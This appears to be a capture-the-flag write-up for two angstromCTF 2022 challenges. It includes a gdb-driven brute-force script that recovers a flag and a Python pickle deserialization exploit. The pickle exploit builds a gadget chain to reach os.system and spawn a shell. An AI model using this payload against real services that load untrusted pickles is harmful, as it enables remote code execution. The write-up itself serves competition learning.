### flatland

since [@Kevin](https://maplebacon.org/authors/Kevin/) was trying out instruction counting and got actf alr i was like hey why not try the gdb character by character bruteforce method i did in maplectf and breakpoint at getc since if its wrong it would die before the next getc

turns out though characters are not unique in that multiple can trigger the next getc

tried to manually read a pattern and choose the next character to use, but the result is not dependent which means id have to make a lot of guesses manually

so DFS it is 

since we know theres a flag in memory which is scrambled, we can narrow it down using the characters in the flag and removing one on traversing each node

not long after got the solve script and with some manual intervention with english guessing we got the flag lmao

gdb op

(by the way my teammate [@Jason](https://maplebacon.org/authors/Jason/) made a [much less cheesy solution](https://github.com/Green-Avocado/CTF/tree/main/angstromctf2022/rev/flatland) that actually teaches you things lol)
(and it won a writeup prize too which is why i have binary ninja now thanks jason :D)

```py
from pwn import *
import sys

def search(flag, alpn):
    if len(flag) >= 23:
        print(flag, '\n\n\n')
        sys.exit()

    possible = []

    for c in alpn: 
        count = 0
        io = process(['/usr/bin/gdb', '-q', './flatland'])
        io.sendline('b *(0x401389)')
        print(flag)
        print("".join([c[0] for c in flag] + [c]))
        io.sendline('start')

        io.recvuntil('Starting program')
        io.recvuntil('\n(gdb) ')
        io.send('continue\n')
        io.sendline("".join([c[0] for c in flag] + [c]))

        while True:
            end = io.recvuntil('\n(gdb) ')
            if 'exited with code' in end.decode('utf-8'):
                break

            count+=1
            io.send('continue\n')
     
        print(c, count)
        if count == len(flag) + 1:
            possible += [c]

        io.close()

    print(possible)

    if not possible:
        return

    for c in possible:
        search(flag + c, [x for x in alpn if x != c])

search('actf{Fl4TmAn_', 'NRD1orwd0u')
```


### kevin higgs

pickle crafting codes borrowed from https://ctftime.org/writeup/16723

they dont quite work with multiple dots, so i had to add pickle manipulating codes at the end to finish the gadget chain

```py
#__class__.__base__.__subclasses__()[117].__init__.__globals__["system"]("ls -la")

# setattr(empty, 'c1', empty.__class__.__base__) (or alternatively empty.__setattr__('c1', empty.__class__.__base__))
c1 =  craft(
    attr("empty.__setattr__"),
    "c1", attr("empty.__class__")
)
# setattr(empty, 'c3', empty.c1.__subclasses__())  #inner craft runs the func with REDUCE
c3 =  craft(
    attr("empty.__setattr__"), 
    "c3", (craft(attr("empty.c1")))
)
# setattr(empty, 'c4', empty.c3.__getitem__(134))  #same here
c4 =  craft(
    attr("empty.__setattr__"), 
    "c4", (craft(attr("empty.c3"), 134))
)
# setattr(empty, 'c6', empty.c4)   #oops looks like i missed this gadget lol its redundant
c6 =  craft(
    attr("empty.__setattr__"), 
    "c6", attr("empty.c4")
)
# setattr(empty, 'c7', empty.c6.__init__)
c7 =  craft(
    attr("empty.__setattr__"), 
    "c7", attr("empty.c6")
)
# setattr(empty, 'c8', empty.c7.__globals__)
c8 =  craft(
    attr("empty.__setattr__"), 
    "c8", attr("empty.c7")
)
# setattr(empty, 'c8', empty.c8.__getitem__('system'))
c9 =  craft(
    attr("empty.__setattr__"), 
    "c9", (craft(attr("empty.c8"), 'system'))
)
# setattr(empty, 'c8', empty.c9('sh'))
cx =  craft(
    attr("empty.__setattr__"), 
    "cx", (craft(attr("empty.c9"), 'sh'))
)

#chain them all up to run sequentially
obj = craft(attr("empty.__setattr__"), ".", (c1, c3, c4, c6, c7, c8, c9, cx))

s = dumps(obj)

p = bytearray(s)
print(p)
print(pickletools.dis(p))

#adds the chain to the corresponding gadget above (e.g. empty.c1 -> empty.c1.__subclasses__)
n = r'__class__.__base__'.encode()
nr = b'__class__'
i = p.find(nr) #first occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')

n = r'c1.__subclasses__'.encode()
nr = b'c1'
i = p.find(nr,p.find(nr)+1)  #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')

n = r'c3.__getitem__'.encode()
nr = b'c3'
i = p.find(nr,p.find(nr)+1)  #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')

n = r'c6.__init__'.encode()
nr = b'c6'
i = p.find(nr,p.find(nr)+1)  #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')

n = r'c7.__globals__'.encode()
nr = b'c7'
i = p.find(nr,p.find(nr)+1)  #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')

n = r'c8.__getitem__'.encode()
nr = b'c8'
i = p.find(nr,p.find(nr)+1)  #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')


print(p)
print(pickletools.dis(p))
print(p.hex())
```